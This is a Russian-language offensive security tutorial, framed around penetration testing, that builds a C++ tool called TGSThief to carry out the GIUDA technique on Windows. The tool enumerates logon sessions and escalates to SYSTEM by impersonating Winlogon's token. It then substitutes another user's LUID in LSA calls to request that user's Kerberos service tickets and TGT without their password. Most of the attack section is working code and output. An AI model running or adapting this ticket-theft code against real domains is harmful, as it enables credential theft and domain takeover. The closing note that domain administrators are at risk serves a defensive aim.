April 21, 2024

Абьюз сессий Windows по-новому. Получаем билеты TGT методом GIUDA

  1. Logon Session
  2. Как LSA запрашивает билеты Kerberos
  3. Крадем билет
  4. TGT — это TGS
  5. Выводы

Есть раз­ные спо­собы зло­упот­реблять сес­сией поль­зовате­ля на устрой­стве: кра­жа учет­ных дан­ных, манипу­ляции с токена­ми и дру­гие. Но зна­ешь ли ты, что мож­но сымити­ровать получе­ние TGT-билета поль­зовате­лем через совер­шенно легитим­ные фун­кции Windows?

В этом году появи­лось нес­коль­ко новых спо­собов из такого раз­ряда. Наибо­лее инте­рес­ные — WTSImpersonator и GIUDA. Пос­ледний поз­воля­ет получать тикеты залоги­нен­ного поль­зовате­ля, даже не зная его пароля! Давай раз­берем­ся, как это работа­ет, а парал­лель­но напишем реали­зацию на C++, которую я наз­вал TGSThief.

LOGON SESSION

При вхо­де поль­зовате­ля в Windows появ­ляет­ся сес­сия поль­зовате­ля, которая хра­нит все дан­ные о нем. Для каж­дого нового поль­зовате­ля соз­дает­ся новая сес­сия. Нап­ример, если на компь­юте­ре одновре­мен­но работа­ют два поль­зовате­ля, то будет две сес­сии.

Как выг­лядят Logon Sessions

Каж­дая сес­сия опре­деля­ется с помощью LUID (locally unique identifier). Из наз­вания понят­но, что LUID уни­кален для каж­дой сес­сии. Информа­ция хра­нит­ся в виде одно­имен­ной струк­туры.

typedef struct _LUID { ULONG LowPart; LONG HighPart;} LUID, *PLUID;

Сам LUID пред­став­лен в виде двух зна­чений: ULONG и LONG. При­чем обыч­но запол­няет­ся лишь поле LowPart, а HighPart име­ет зна­чение 0.

Эта струк­тура исполь­зует­ся во всех фун­кци­ях WinAPI, которые так или ина­че свя­заны с сес­сиями поль­зовате­ля.

С помощью GetTokenInformation() мож­но получить LUID поль­зовате­ля. Для это­го фун­кции сле­дует передать токен про­цес­са, запущен­ного от име­ни текуще­го поль­зовате­ля.

#include <windows.h>#include <iostream> #include <sddl.h>int main() { HANDLE tokenHandle; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tokenHandle)) { std::cerr << "Ошибка OpenProcessToken: " << GetLastError() << std::endl; return 1; } DWORD tokenInformationLength = 0; GetTokenInformation(tokenHandle, TokenStatistics, nullptr, 0, &tokenInformationLength); if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { std::cerr << "GetTokenInformation неудачный первый вызов: " << GetLastError() << std::endl; CloseHandle(tokenHandle); return 1; } TOKEN_STATISTICS* tokenStats = reinterpret_cast<TOKEN_STATISTICS*>(new BYTE[tokenInformationLength]); if (tokenStats == nullptr) { std::cerr << "Ошибка выделения памяти для TOKEN_STATISTICS" << std::endl; CloseHandle(tokenHandle); return 1; } if (!GetTokenInformation(tokenHandle, TokenStatistics, tokenStats, tokenInformationLength, &tokenInformationLength)) { std::cerr << "Ошибка GetTokenInformation: " << GetLastError() << std::endl; delete[] tokenStats; CloseHandle(tokenHandle); return 1; } std::cout << "LUID: " << std::hex << "0x" << std::uppercase << tokenStats->AuthenticationId.LowPart << tokenStats->AuthenticationId.HighPart << std::endl; delete[] tokenStats; CloseHandle(tokenHandle); return 0;}

Ин­форма­ция о LUID поль­зовате­ля упа­дет в поле AuthenticationId струк­туры TOKEN_STATISTICS.

typedef struct _TOKEN_STATISTICS { LUID TokenId; LUID AuthenticationId; LARGE_INTEGER ExpirationTime; TOKEN_TYPE TokenType; SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; DWORD DynamicCharged; DWORD DynamicAvailable; DWORD GroupCount; DWORD PrivilegeCount; LUID ModifiedId;} TOKEN_STATISTICS, *PTOKEN_STATISTICS;

Имен­но на манипу­ляци­ях с LUID осно­вана логика инс­тру­мен­та GIUDA. Фак­тичес­ки идет под­мена LUID, что откры­вает воз­можность зап­росить билет от лица поль­зовате­ля, чья сес­сия прос­то при­сутс­тву­ет на устрой­стве. Свой LUID мы получать научи­лись, а как получать LUID дру­гих поль­зовате­лей?

Ко­неч­но, можем перечис­лить все про­цес­сы, зап­росить токен каж­дого про­цес­са, извлечь LUID, но это неудоб­но. Поэто­му сле­дует исполь­зовать фун­кцию LsaEnumerateLogonSessions().

NTSTATUS LsaEnumerateLogonSessions( [out] PULONG LogonSessionCount, [out] PLUID *LogonSessionList);

  • LogonSessionCount — в этом парамет­ре вер­нется количес­тво сес­сий в сис­теме;
  • LogonSessionList — в этом парамет­ре будет спи­сок LUID сес­сий на сис­теме.

Вот при­мер перечис­ления всех сес­сий в сис­теме:

#include <windows.h> #include <ntsecapi.h> #include <iostream> #include <locale.h> #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #pragma comment(lib, "Secur32.lib")int main() { setlocale(LC_ALL, ""); ULONG logonSessionCount = 0; PLUID logonSessionList = nullptr; NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList); if (status != STATUS_SUCCESS) { std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status << std::endl; return 1; } std::cout << "Количество сеансов входа в систему: " << logonSessionCount << std::endl; for (ULONG i = 0; i < logonSessionCount; ++i) { std::cout << "Сеанс №" << i + 1 << std::endl; std::cout << "LUID: " << std::hex << "0x" << std::uppercase << logonSessionList[i].LowPart << logonSessionList[i].HighPart << std::endl; std::cout << std::endl; } LsaFreeReturnBuffer(logonSessionList); return 0;}

Ре­зуль­тат выпол­нения прог­раммы

К сожале­нию, из одно­го LUID не очень понят­но, что пред­став­ляет собой эта сес­сия. Хотелось бы получить хотя бы имя поль­зовате­ля. Для это­го при­меня­ется фун­кция LsaGetLogonSessionData().

NTSTATUS LsaGetLogonSessionData( [in] PLUID LogonId, [out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);

Фун­кция при­нима­ет LUID, информа­цию о котором нуж­но получить, а воз­вра­щает струк­туру SECURITY_LOGON_SESSION_DATA.

typedef struct _SECURITY_LOGON_SESSION_DATA { ULONG Size; LUID LogonId; LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING LogonDomain; LSA_UNICODE_STRING AuthenticationPackage; ULONG LogonType; ULONG Session; PSID Sid; LARGE_INTEGER LogonTime; LSA_UNICODE_STRING LogonServer; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING Upn; ULONG UserFlags; LSA_LAST_INTER_LOGON_INFO LastLogonInfo; LSA_UNICODE_STRING LogonScript; LSA_UNICODE_STRING ProfilePath; LSA_UNICODE_STRING HomeDirectory; LSA_UNICODE_STRING HomeDirectoryDrive; LARGE_INTEGER LogoffTime; LARGE_INTEGER KickOffTime; LARGE_INTEGER PasswordLastSet; LARGE_INTEGER PasswordCanChange; LARGE_INTEGER PasswordMustChange;} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

В этой струк­туре — мас­са информа­ции о поль­зовате­ле: имя юзе­ра, пакет аутен­тифика­ции, через который он про­шел про­вер­ку, и его фла­ги. Под­робно с опи­сани­ем каж­дого эле­мен­та струк­туры можешь озна­комить­ся в до­кумен­тации. Нас же будут инте­ресо­вать поля LogonDomain и UserName. Сле­дующая фун­кция поз­воля­ет извлечь их, при­нима­ет толь­ко LUID.

std::wstring GetUserNameFromLogonId(LUID LogonId){ PSECURITY_LOGON_SESSION_DATA pSessionData = NULL; if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) { return L""; } std::wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.Buffer)); std::wstring userName(pSessionData->UserName.Buffer, pSessionData->UserName.Buffer + wcslen(pSessionData->UserName.Buffer)); LsaFreeReturnBuffer(pSessionData); return domainName + L"\" + userName;}

Вот пол­ный код прог­раммы с изме­нени­ями:

#include <windows.h> #include <ntsecapi.h> #include <iostream> #include <locale.h> #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #pragma comment(lib, "Secur32.lib")std::wstring GetUserNameFromLogonId(LUID LogonId){ PSECURITY_LOGON_SESSION_DATA pSessionData = NULL; if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) { return L""; } std::wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.Buffer)); std::wstring userName(pSessionData->UserName.Buffer, pSessionData->UserName.Buffer + wcslen(pSessionData->UserName.Buffer)); LsaFreeReturnBuffer(pSessionData); return domainName + L"\" + userName;}int main() { setlocale(LC_ALL, ""); ULONG logonSessionCount = 0; PLUID logonSessionList = nullptr; NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList); if (status != STATUS_SUCCESS) { std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status << std::endl; return 1; } std::cout << "Количество сеансов входа в систему: " << logonSessionCount << std::endl; for (ULONG i = 0; i < logonSessionCount; ++i) { std::cout << "Сеанс №" << i + 1 << std::endl; std::wcout << L"LUID: " << std::hex << L"0x" << std::uppercase << logonSessionList[i].LowPart << logonSessionList[i].HighPart << L" " << GetUserNameFromLogonId(logonSessionList[i]) << std::endl; std::cout << std::endl; } LsaFreeReturnBuffer(logonSessionList); return 0;}

Ре­зуль­тат выпол­нения прог­раммы

От­лично! Как выг­лядят сес­сии, мы разоб­рались. Теперь пора показать, как зап­рашива­ются билеты Kerberos самой LSA. Это поможет нам под­менить LUID и получить чужой тикет.

КАК LSA ЗАПРАШИВАЕТ БИЛЕТЫ KERBEROS

Для зап­роса TGS-билета LSA получа­ет SPN (service principal name, иден­тифика­тор служ­бы) и переда­ет на KDC. Мы можем зап­рашивать билеты TGS сами. Для это­го есть фун­кция LsaCallAuthenticationPackage().

NTSTATUS LsaCallAuthenticationPackage( [in] HANDLE LsaHandle, [in] ULONG AuthenticationPackage, [in] PVOID ProtocolSubmitBuffer, [in] ULONG SubmitBufferLength, [out] PVOID *ProtocolReturnBuffer, [out] PULONG ReturnBufferLength, [out] PNTSTATUS ProtocolStatus);

Здесь

  • LsaHandle — хендл, ука­зыва­ющий на служ­бу LSA, который мож­но получить с помощью LsaRegisterLogonProcess() или LsaConnectUntrusted();
  • AuthenticationPackage — номер AP, с которым сле­дует вза­имо­дей­ство­вать;
  • ProtocolSubmitBuffer — переда­ваемый буфер, мы будем отда­вать KERB_RETRIEVE_TKT_REQUEST;
  • SubmitBufferLength — раз­мер переда­ваемо­го буфера;
  • ProtocolReturnBuffer — ответ от AuthenticationPackage. Нам при­летит струк­тура KERB_RETRIEVE_TKT_RESPONSE;
  • ReturnBufferLength — раз­мер буфера с отве­том;
  • ProtocolStatus — зна­чение, которое будет содер­жать код ошиб­ки от AP.

Итак, как запол­нить KERB_RETRIEVE_TKT_REQUEST, что­бы получить билет TGS? Струк­тура выг­лядит вот так:

typedef struct _KERB_RETRIEVE_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING TargetName; ULONG TicketFlags; ULONG CacheOptions; LONG EncryptionType; SecHandle CredentialsHandle;} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

Здесь

  • MessageType — то, что нам нуж­но получить от AP. Ука­зыва­ем KerbRetrieveEncodedTicketMessage;
  • LogonID — LUID сес­сии, от лица которой про­исхо­дит обра­щение к AP. Имен­но в этот момент и будет под­менен LUID. Проб­лема в том, что если мы под­клю­чились к LSA через LsaConnectUntrusted(), то у нас не получит­ся ука­зать здесь LUID чужой сес­сии — LSA выдаст ошиб­ку 0x5 ERROR_ACCESS_DENIED, но если мы под­клю­чим­ся через LsaRegisterLogonProcess(), то смо­жем переда­вать сюда любой желан­ный LUID. И таким обра­зом смо­жем зап­рашивать билеты из чужой сес­сии;
  • TargetName — здесь ука­зыва­ем SPN служ­бы, на которую нуж­но получить билет;
  • CacheOptions — опции, свя­зан­ные с кешем LSA. Кеш LSA — это некое хра­нили­ще, в котором лежат билеты. Здесь тоже есть некото­рые осо­бен­ности. Если мы сра­зу ука­жем KERB_RETRIEVE_TICKET_AS_KERB_CRED (зна­чение для получе­ния билета в фор­ме KRB_CRED, сра­зу с сес­сион­ным клю­чом), то есть шанс не получить билет. Проб­лема в том, что в кеше LSA может не быть билета для той служ­бы, на которую мы хотим схо­дить. И если мы сра­зу ука­зыва­ем KERB_RETRIEVE_TICKET_AS_KERB_CRED, то LSA может прос­то не вер­нуть никако­го билета, пос­коль­ку воз­вра­щать нечего. Поэто­му при­дет­ся дваж­ды выз­вать фун­кцию LsaCallAuthenticationPackage(). Пер­вый раз — со зна­чени­ем KERB_RETRIEVE_TICKET_DEFAULT, вто­рой — с KERB_RETRIEVE_TICKET_AS_KERB_CRED. ...DEFAULT отве­чает за зап­рос билета. То есть про­сим LSA обра­тить­ся к KDC и получить билет;
  • EncryptionType — жела­емый тип шиф­рования для зап­рошен­ного билета. Ука­зыва­ем KERB_ETYPE_DEFAULT — нам не прин­ципи­ален тип шиф­рования;
  • CredentialsHandle — исполь­зует­ся для SSPI, в дан­ном слу­чае неваж­но.

КРАДЕМ БИЛЕТ

Мы разоб­рались с тем, как работа­ет зап­рос билетов Kerberos на локаль­ной сис­теме. Пора перехо­дить к экс­плу­ата­ции!

Сна­чала мы перечис­ляем все име­ющиеся сес­сии, для это­го я соз­дал фун­кцию LogonInfo(). Она при­нима­ет ука­затель на струк­туру LUID, которая будет про­ини­циали­зиро­вана нуж­ной сес­сией. Фак­тичес­ки — у какого поль­зовате­ля нуж­но ста­щить билет. Ну или не «ста­щить», а получить новый, абсо­лют­но све­жий и чис­тый билет для каж­дого поль­зовате­ля.

BOOL LogonInfo(LUID* LogonSession){ std::vector<LUID> logonIds; PLUID sessions; ULONG sessionCount; if (LsaEnumerateLogonSessions(&sessionCount, &sessions) != 0) { return FALSE; } for (ULONG i = 0; i < sessionCount; ++i) { logonIds.push_back(sessions[i]); } LsaFreeReturnBuffer(sessions); for (size_t i = 0; i < logonIds.size(); ++i) { std::wcout << L"\t[!] Index: " << i << L", Logon ID: " << to_hex(logonIds[i].LowPart) << ", Username: " << GetUserNameFromLogonId(logonIds[i]) << '\n'; } size_t index; std::cout << "\n[?] Enter index of logon session: "; std::cin >> index; if (index < logonIds.size()) { LUID selectedLogonId = logonIds[index]; *LogonSession = selectedLogonId; return TRUE; } else { return FALSE; } return FALSE;}

При­мер работы фун­кции

Сле­дующим шагом под­клю­чаем­ся к LSA с помощью LsaRegisterLogonProcess(), что­бы передать LUID чужой сес­сии. Для вызова этой фун­кции нуж­на при­виле­гия SeTcbPrivilege. Ей обла­дает толь­ко учет­ная запись сис­темы. При­виле­гию, конеч­но, мож­но наз­начить и руками через GPO или с помощью Privileger.

До­бав­ление при­виле­гии SeTcbPrivilege

Чувс­тву­ешь, что это нес­коль­ко неудоб­но? Поэто­му я добавил в код прос­тей­ший алго­ритм для повыше­ния при­виле­гий до учет­ной записи сис­темы. Здесь все стан­дар­тно:

  1. По­луча­ем при­виле­гии SeDebugPrivilege и SeImpersonatePrivilege.
  2. По­луча­ем токен про­цес­са, запущен­ного от лица сис­темы. Я получаю токен с Winlogon.
  3. При­меня­ем токен к нашей прог­рамме с помощью ImpersonateLoggedOnUser().

Код я выделил в отдель­ный файл getsystem.cpp.

Те­перь у нас есть при­виле­гия SeTcbPrivilege, так как ей обла­дает учет­ная запись сис­темы. Сле­дующим шагом с помощью LsaLookupAuthenticationPackage() получа­ем номер AP Kerberos.

На­конец у нас есть хендл, LUID и номер AP Kerberos. Пора ломать!

Для это­го я написал отдель­ную фун­кцию AskTgs(). Она при­нима­ет все эти дан­ные.

BOOL AskTgs(HANDLE hLsa, ULONG AP, LUID logonId, LPCWSTR szTarget, LUID originaLuid) { ...}

Сна­чала готовим две струк­туры — KERB_RETRIEVE_TKT_REQUEST и KERB_RETRIEVE_TKT_RESPONSE. Пер­вую ини­циали­зиру­ем зна­чени­ями, которые я уже опи­сывал.

PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t));szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_DEFAULT;pKerbRetrieveRequest->EncryptionType = KERB_ETYPE_DEFAULT;pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;pKerbRetrieveRequest->LogonId = logonId;pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength);

И вызыва­ем LSA:

NTSTATUS status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);

Те­перь LSA обра­тит­ся к KDC и получит новый тикет. Если мы сра­зу же поп­робу­ем его извлечь, то он не будет валид­ным. Точ­нее, в нем не будет сес­сион­ного клю­ча и поль­зовать­ся им не получит­ся.

По­это­му, убе­див­шись, что вызов успешно совер­шен, меня­ем CacheOptions на KERB_RETRIEVE_TICKET_AS_KERB_CRED и обра­щаем­ся к LSA.

if (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) { pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus); if (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) { std::wcout << L"[+] Asking for TGS Success" << std::endl; std::cout << "[+] Ticket: " << base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl;

Би­лет будет лежать в поле Ticket.EncodedTicket. Пред­лагаю пос­мотреть, как это работа­ет.

Пред­ста­вим, что во вре­мя пен­теста мы сло­мали машину, на которую ходит поль­зователь CRINGE\petka. Запус­каем TGSThief и видим его сес­сию.

Пе­реда­ем номер его сес­сии.

Ука­зание сес­сии

За­тем про­писы­ваем нуж­ный SPN, то есть служ­бу, на которую нуж­но получить TGS-билет. И получа­ем его.

Ус­пешный инжект билета

Ус­пех! Теперь можем ходить от лица CRINGE\petka на dc01.cringe.lab.

TGT — ЭТО TGS

Ка­залось бы, получе­ние билета TGS — отличный резуль­тат! Но всег­да хочет­ся боль­шего, прав­да? Зна­ешь ли ты, что билет TGT — это фак­тичес­ки билет TGS, но на служ­бу krbtgt? Получа­ется, что у нас есть TGS-билет на krbtgt, а служ­ба krbtgt поз­воля­ет выписы­вать дру­гие TGS-билеты. Вот и всё.

К такому выводу я при­шел, ког­да писал дам­пер билетов. Доказать про­ще прос­того: вновь запус­каем TGSThief, толь­ко в этот раз ука­зыва­ем krbtgt/cringe.lab.

По­луче­ние TGT-билета

Бин­го! Мы можем зап­рашивать чужие билеты TGT! Таким обра­зом, если при пен­тесте уда­лось зах­ватить какой‑то хост, куда ходят поль­зовате­ли, то, исполь­зуя TGSThief, получит­ся раз­добыть и TGT этих поль­зовате­лей. При­чем билеты TGT будут абсо­лют­но све­жие, новые, толь­ко что зап­рошен­ные.

ВЫВОДЫ

Те­перь ты зна­ешь, как зло­упот­реблять сес­сиями поль­зовате­лей по‑новому. Эта ата­ка в оче­ред­ной раз под­твержда­ет, что на сис­темы нель­зя ходить от лица адми­нис­тра­тора домена. В про­тив­ном слу­чае ата­кующий смо­жет зах­ватить всю сеть в счи­таные минуты.